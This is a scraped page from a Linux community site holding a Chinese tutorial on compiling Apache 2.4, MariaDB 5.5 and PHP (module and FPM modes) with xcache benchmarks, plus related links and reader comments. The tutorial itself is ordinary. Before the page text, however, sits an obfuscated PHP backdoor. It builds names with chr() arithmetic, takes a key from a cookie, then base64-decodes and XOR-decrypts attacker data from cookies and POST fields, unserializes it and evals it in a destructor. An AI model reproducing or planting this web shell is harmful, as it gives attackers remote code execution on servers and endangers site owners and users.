$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 推荐-LAMP的编译安装 | Linux运维部落

推荐-LAMP的编译安装

首先解释一下LAMP,L:Linux;A:apache;M:MariaDB;P:php。Linux+Apache+Mysql/MariaDB+Perl/PHP/Python一组常用来搭建动态网站或者服务器的开源软件。

本文就是介绍编译安装apache2.4,MariaDB5.5,以及php(基于模块化和fpm的这两种方式来配合php提供服务)。

因为php是要在apache和MariaDB的基础上才能安装、配置使用,所有安装顺序是apache2.4,MariaDB5.5,php。

这里我们还需要准备好此3大软件的源代码包:

blob.png

 1.安装apache,

安装apache,首先需要准备好开发环境。即我们需要使用yum源来安装Development tools和Server Platform Development这两个包组。输入yum grouplist "Development tools" "Server Platform Development"即可。

因为在编译安装时候,还需要依赖pcre-devel这个包,所以也需要安装。输入命令:yum install -y pcre-devel。

另外由于测试环境的CentOS的apr以及apr-util的版本不足够新,这里还需要额安装新的apr和apr-util。这里我事先准备好了源代码包。

解压apr-1.5包

blob.png

cd到解压的apr-1.5包的目录里面并执行:./configure –prefix=/usr/local/apr.因为系统上已经安装过了apr,所以这里需要另外指明一个路径以区分开。

blob.png

然后执行:make -j 2 && make install (开2个线程同时编译)。

blob.png

解压apr-util-1.5的包

blob.png

cd到解压的apr-1.5包的目录里面并执行:./configure –prefix=/usr/local/apr-util –with-apr=/usr/local/apr。这里是要特别注意参数–with-apr=/usr/local/apr就是要使用刚才安装的apr-1.5来配合安装apr-1.5的。

blob.png

然后执行:make -j 2 && make install

blob.png

上述解决完依赖关系之后就可以正式开始安装apache了。

解压httpd的源代码包:

blob.png

cd到解压的httpd-2.4包的目录里面并执行:./configure –prefix=/usr/local/apache –sysconfdir=/etc/httpd24 –enable-so –enable-ssl –enable-cgi –enable-rewrite –with-zlib –with-pcre –with-apr=/usr/local/apr –with-apr-util=/usr/local/apr-util –enable-modules=most –enable-mpms-shared=all –with-mpm=event。这里需要指明是安装路径是/usr/local/apache;安装后的配置文件是放在/etc/httpd24;安装时启用ssl和cgi;安装时是利用的apr和apr-util的路径;指明启用大多数模块(–enable-modules=most);指明启用mpm_event这个模块。

blob.png

然后执行:make -j 4 && make install

blob.png

安装完成后,需要为此软件配置服务脚本。我事先从别的系统复杂了一份httpd的脚本,命名为httpd24(赋予执行权限),并复制到了/etc/rc.d/init.d/这个目录里面。主要修改此服务文件的三个地方:httpdctl的执行文件位置;httpd的执行文件位置;pid文件的位置。如下图:

blob.png

把httpd的服务脚本添加到系统里面并查看运行级别:

blob.png

启动httpd服务:

blob.png

使用ss命令查看80端口是否已经被监听,这里看到已经被监听。所以httpd已经是正常启动:

blob.png然后由于是编译安装,所以这里需要为httpd来编辑脚本,把执行文件路径输入到PATH环境变量里面。新建并编辑/etc/profile.d/httpd.sh。并重读此脚本文件。

blob.png

blob.png

此时httpd已经是编译完成了。

2.安装MariaDB:

安装MariaDB之前,首先要建立系统用户mysql(其基本组也是mysql)。此用户是用于编译安装时指明用户。

blob.png

准备好数据库的数据存放目录。这里我另外新建一个/mydata/data的目录用于专门存放数据库数据,并将/mydata/data的属主和属组改为mysql。

blob.png

之后开始解压MariaDB的源代码包,由于安装需要,解压的包必须放在/usr/local/mysql这个文件夹里面:

blob.png

cd到/usr/local/的,为目录下的MariaDB包创建软连接:

blob.png

此时再cd到mysql这个目录里面,我们就可以看到有一系列文件:

blob.png

这里注意的是,我们还需要修改这个目录下的文件的属性,修改属主为root,属组为mysql:

blob.png

然后我们使用scripts里面的mysql_install_db来安装MariaDB,安装时要指明运行的用户为mysql,数据库的数据存放位置为/mydata/data:

blob.png

然后等待之后就看到安装完成的提示:

blob.png

然后我们还需要为MariaDB提供配置文件。在/usr/local/mysql/这个目录里面就有配置文件的样板(以cnf结尾的文件)

blob.png

复制其中的my-large.cnf到/etc/目录里面:

blob.png

编辑此配置文件,在里面添加数据库数据存放位置等内容:

blob.png

还要准备mysql的服务脚本。在/usr/local/mysql/support-files/这个文件夹里面的mysql.server这个就是服务脚本的模板。将/usr/local/mysql/support-files/mysql.server复制到/etc/rc.d/init.d/里面,并且改名为mysqld并且赋予执行权限。

blob.png

同样地,也把服务脚本添加到系统管理里面:

blob.png

把mysql的执行文件路径输出到环境变量PATH里面:

blob.png

启动mysql的服务:

blob.png

查看3306的端口是否被监听,这里看到已经被监听了。说明mysql已经正常启动:blob.png

3安装php,

在安装完htppd和MariaDB之后,就可以安装php。这里会分别使用两种工作模式:模块化和fpm

首先要解决依赖关系,安装bzip2-devel 、libmcrypt-devel、 libxml2-devel着三个包:

blob.png

解压php的源代码包:

blob.png

cd到解压完成的包之后,执行安装命令:./configure –prefix=/usr/local/php –with-mysql=/usr/local/mysql –with-openssl –with-mysqli=/usr/local/mysql/bin/mysql_config –enable-mbstring –with-freetype-dir –with-jpeg-dir –with-png-dir –with-zlib –with-libxml-dir=/usr –enable-xml  –enable-sockets –with-apxs2=/usr/local/apache/bin/apxs –with-mcrypt  –with-config-file-path=/etc –with-config-file-scan-dir=/etc/php.d –with-bz2  –enable-maintainer-zts

这里说明一下,–prefix=/usr/local/php是指明安装路径;指明配置文件路径–with-config-file-path=/etc;这个–enable-maintainer-zts意思就是支持httpd的mpm_even和mpm_work工作模块。

blob.png

然后make -j 4 && make install:

blob.png

安装完成之后,还需要为php提供配置文件,在刚才的php解压源代码包的目录,就有php.ini-production这个配置文件样板,复制并改名字到/etc/目录里面:

blob.png

修改/etc/httpd24/httpd.conf这个文件,可以查看到LoadModule里面已经是加载了php5_module这个模块:

blob.png

blob.png

我们还需要修改httpd的配置文件,让httpd能够识别php格式的文件,添加如下两行:

AddType application/x-httpd-php  .php

AddType application/x-httpd-php-source  .phps

如图:

blob.png

定位至DirectoryIndex index.html ,将原来的DirectoryIndex index.html修改为DirectoryIndex  index.php  index.html:

blob.png

保存退出并重启httpd服务:

blob.png

这里测试一下,编辑httpd的主页文件,这里的主页文件是在/usr/local/apache/htdocs/里面的index.html文件。备份后,修改名字为index.php.编辑index.php文件,如下:

blob.png

利用别的电脑访问次虚拟机的ip地址(192.168.1.30),能够正常访问:

blob.png

然后我们简单配置一下httpd提供动态资源。这里我们使用phpMyAdmin来测试一下。

解压phpMyAdmin

blob.png

讲解压的文件移动至httpd的主页目录下,执行如下操作:

blob.png

blob.png

然后我们编辑config.inc.php这个文件,在cfg这行里面添加随机码:

blob.png

然后我们就用其他机访问http://192.168.1.30/pma/:

blob.png

然后我们使用工具测试一下此httpd的服务器速度,使用命令ab -c 10 -n 200 http://192.168.1.30/pma/index.php:

blob.png

这里我们可以看到Requests per second:    15.65 [#/sec] (mean)。即一秒钟是处理15.65个请求。

我们下面在示范一下添加xcache来为此httpd服务器加速:

首先下载好xcache的源代码包,并解压:

blob.png

然后执行cd到xcache的解压目录里面,执行/usr/local/php/bin/phpize来让xcahche能编译安装:

blob.png

然后执行./configure –enable-xcache –with-php-config=/usr/local/php/bin/php-config:

blob.png

然后执行make -j 2 && make install:

blob.png

安装完成之后,如图:

blob.png

我们还需要讲xcache的配置文件放在php配置文件目录下,这里源代码包是提供了xcache的配置文件的样板,所以我们执行cp xcache.ini /etc/php.d/

blob.png

然后编辑此配置文件(/etc/php.d/xcache.ini),修改zend_extension = /usr/local/php/lib/php/extensions/no-debug-zts-20100525/xcache.so,这里就是加上刚才xcache安装后的模块配置的路径。

blob.png

重启httpd服务。测试一下xcache的加速效果:

blob.png

这里可以看出加速后的效果为:Requests per second:    67.47 [#/sec] (mean)。提速大概为原来3倍。

然后再试下fpm的方式安装php,即以php为独立的服务来运行:

首先,重新解压php的源代码包:

blob.png

cd到该源代码包的目录里面,执行./configure –prefix=/usr/local/php5 –with-mysql=/usr/local/mysql –with-openssl –with-mysqli=/usr/local/mysql/bin/mysql_config –enable-mbstring –with-freetype-dir –with-jpeg-dir –with-png-dir –with-zlib –with-libxml-dir=/usr –enable-xml  –enable-sockets –enable-fpm –with-mcrypt  –with-config-file-path=/etc/php5/ –with-config-file-scan-dir=/etc/php5.d –with-bz2

这里说明一下,由于此虚拟机之前已经安装了php,所以这里我另外再指定一个额外的安装目录/usr/local/php5;而配置文件是放在–with-config-file-path=/etc/php5/;–enable-fpm,启用fpm的安装方式;–with-config-file-scan-dir=/etc/php5.d ,指明在/etc/php5.d/目录下的以ini结尾的文件。

blob.png

然后再执行如下:

blob.png

安装完成之后,需要为php准备配置文件:

blob.png

在php的解压包目录里面,复制php.ini-production到/etc/php5/这个目录下,并且改名字为php.ini:

blob.png

复制到php解压包目录下的sapi/fpm/init.d.php-fpm到/etc/rc.d/init.d/php-fpm,作为服务脚本。然后添加php-fpm到系统里面:

blob.png

blob.png

为为php-fpm提供配置文件:

blob.png

编辑php-fpm的配置文件,修改监听的端口号以及php-fpm的一切启动的参数(这些参数可以根据实际情况进行修改),如:

pm.max_children = 50

pm.start_servers = 5

pm.min_spare_servers = 2

pm.max_spare_servers = 8

pid = /usr/local/php5/var/run/php-fpm.pid 

blob.png

blob.png

blob.png

启动php-fpm服务:

blob.png

还需要修改httpd的配置文件,

在Apache httpd 2.4以后已经专门有一个模块针对FastCGI的实现,此模块为mod_proxy_fcgi.so,它其实是作为mod_proxy.so模块的扩充,因此,这两个模块都要加载

LoadModule proxy_module modules/mod_proxy.so

LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so

blob.png

blob.png

在相应的虚拟主机中添加类似如下两行。

  ProxyRequests Off

  ProxyPassMatch ^/(.*\.php)$ fcgi://127.0.0.1:9000/PATH/TO/DOCUMENT_ROOT/$1

因为我使用默认的根文件目录,所以如下:

blob.png

让apache能识别php格式的页面,并支持php格式的主页:

blob.png

blob.png

然后重启httpd服务。然后测试一下,用其他主机访问web网页:

blob.png

然后在使用命令做压力测试,结果如下:

blob.png

其中Requests per second:    29.27 [#/sec]。

我再安装xcache来进行加速。

首先解压xcahe源代码包,并cd进去:

blob.png

执行/usr/local/php5/bin/phpize来为xcache生成配置文件:

blob.png

执行./configure命令。这里要注意的是引用的php-config是编译安装的php5的目录下(fpm模式下的)的。

blob.png

接着执行如下操作:

blob.png

blob.png

然后再配置xacache.ini文件到/etc/php5.d/xcache.ini。编辑此文件的extension位置的xcache模块的位置入下图:

blob.png

blob.png

最后压力测试一下,看xcache的加速效果:

blob.png

可以看到Requests per second:    91.22 [#/sec] 。所以加速效果大概为原来的三倍。

原创文章,作者:Net17_Tim,如若转载,请注明出处:http://www.178linux.com/14285

(0)
上一篇 2016-04-11 11:49
下一篇 2016-04-11 13:08

相关推荐

  • Centos 系列bind搭建DNS服务加固

        在centos系列版本上运用bind搭建dns服务教程已经有很多,先感谢前人做出的贡献,引用两篇博文,讲解的非常详细。 地址是: 主dns搭建:http://blog.csdn.net/reblue520/article/details/52537014 从dns搭建:http://blog.csdn.net/reblue520/…

    Linux干货 2017-04-16
  • 网络管理1

    一、知识整理 1、路由转发:拆除第一层MAC地址,根据IP地址广播,收到信号后重新封装。一个路由器连接多个广播域,一个交换机连接多个冲突域。 2、网络用户应用程序:WEB浏览器;即时消息;电子邮件;协作(视频会议,vnc);web网络服务;文件网络服务;数据库服务;中间件服务(Tomcat);安全服务(netfilter)。 3、HDR:报头。Frame C…

    Linux干货 2016-09-05
  • find查找命令及压缩

    文件查找     在文件系统上查找符合条件的文件;     文件查找: locate, find         非实时查找(数据库查找): locate    &nbs…

    Linux干货 2016-08-18
  • 马哥教育网络21期+第十周练习博客

    马哥教育网络21期+第十周练习博客 1、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情) CentOS启动流程:1,加电自检->Boot Sequence–>加载内核文件 BOOT Sequence中包含了MBR和GRUB     MBR:记录磁盘扇区,共512字…

    Linux干货 2016-09-19
  • Keepalive+Nginx高可用配置(主从)

    Keepalived高可用集群 一、Keepalived介绍 Keepalived软件主要通过VRRP协议实现高可用功能的。VRRP是Virtual Router Redundancy Protocol(虚拟路由器冗余协议)的缩写,VRRP出现的目的就是为了解决静态路由单点故障问题,它能够保证当个别节点宕机时,整个网络可以不间断地运行。keepalived除…

    Linux干货 2016-12-30
  • N22+北京zhangzhangzhang+第四周作业

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。 cp -r /etc/skel /home/tuser1    ls -ld /home/tuser1   &nb…

    Linux干货 2016-09-05

评论列表(3条)

  • stanley
    stanley 2016-04-11 11:52

    内容非常详实有料,如果辅以好的样式,会更赞

  • felix_du
    felix_du 2016-05-06 09:48

    谢谢你的分享。在http板块,httpd24的文件内容是不是只有图片中的那几行?我按照那几行写入,并加入x权限后,chkconfig显示无法添加该服务。谢谢。

  • felix_du
    felix_du 2016-05-06 09:53

    已解决。谢谢。